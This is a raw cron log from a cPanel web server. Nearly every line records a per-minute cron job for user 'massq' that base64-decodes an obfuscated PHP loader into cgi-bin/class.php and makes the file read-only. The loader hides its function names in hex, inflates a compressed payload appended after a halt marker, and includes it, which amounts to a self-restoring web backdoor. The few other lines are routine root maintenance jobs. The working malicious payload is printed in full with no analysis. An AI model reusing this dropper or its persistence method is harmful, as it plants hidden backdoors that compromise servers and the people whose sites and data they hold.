Nov 13 13:52:01 server CROND[10448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:53:01 server CROND[11310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:54:01 server CROND[12180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:55:01 server CROND[13045]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:55:01 server CROND[13046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:55:01 server CROND[13049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:56:01 server CROND[13943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:57:01 server CROND[14900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:57:01 server CROND[14899]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 13:58:01 server CROND[15753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:59:01 server CROND[16608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:00:01 server CROND[17552]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 14:00:01 server CROND[17553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:00:01 server CROND[17559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:00:01 server CROND[17561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 14:00:01 server CROND[17558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:01:01 server CROND[18488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:01:01 server CROND[18489]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 14:01:01 server run-parts(/etc/cron.hourly)[18489]: starting 0anacron
Nov 13 14:01:01 server run-parts(/etc/cron.hourly)[18501]: finished 0anacron
Nov 13 14:02:01 server CROND[19450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:03:01 server CROND[20305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:04:01 server CROND[21156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:05:01 server CROND[22024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 14:05:01 server CROND[22026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:05:01 server CROND[22035]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
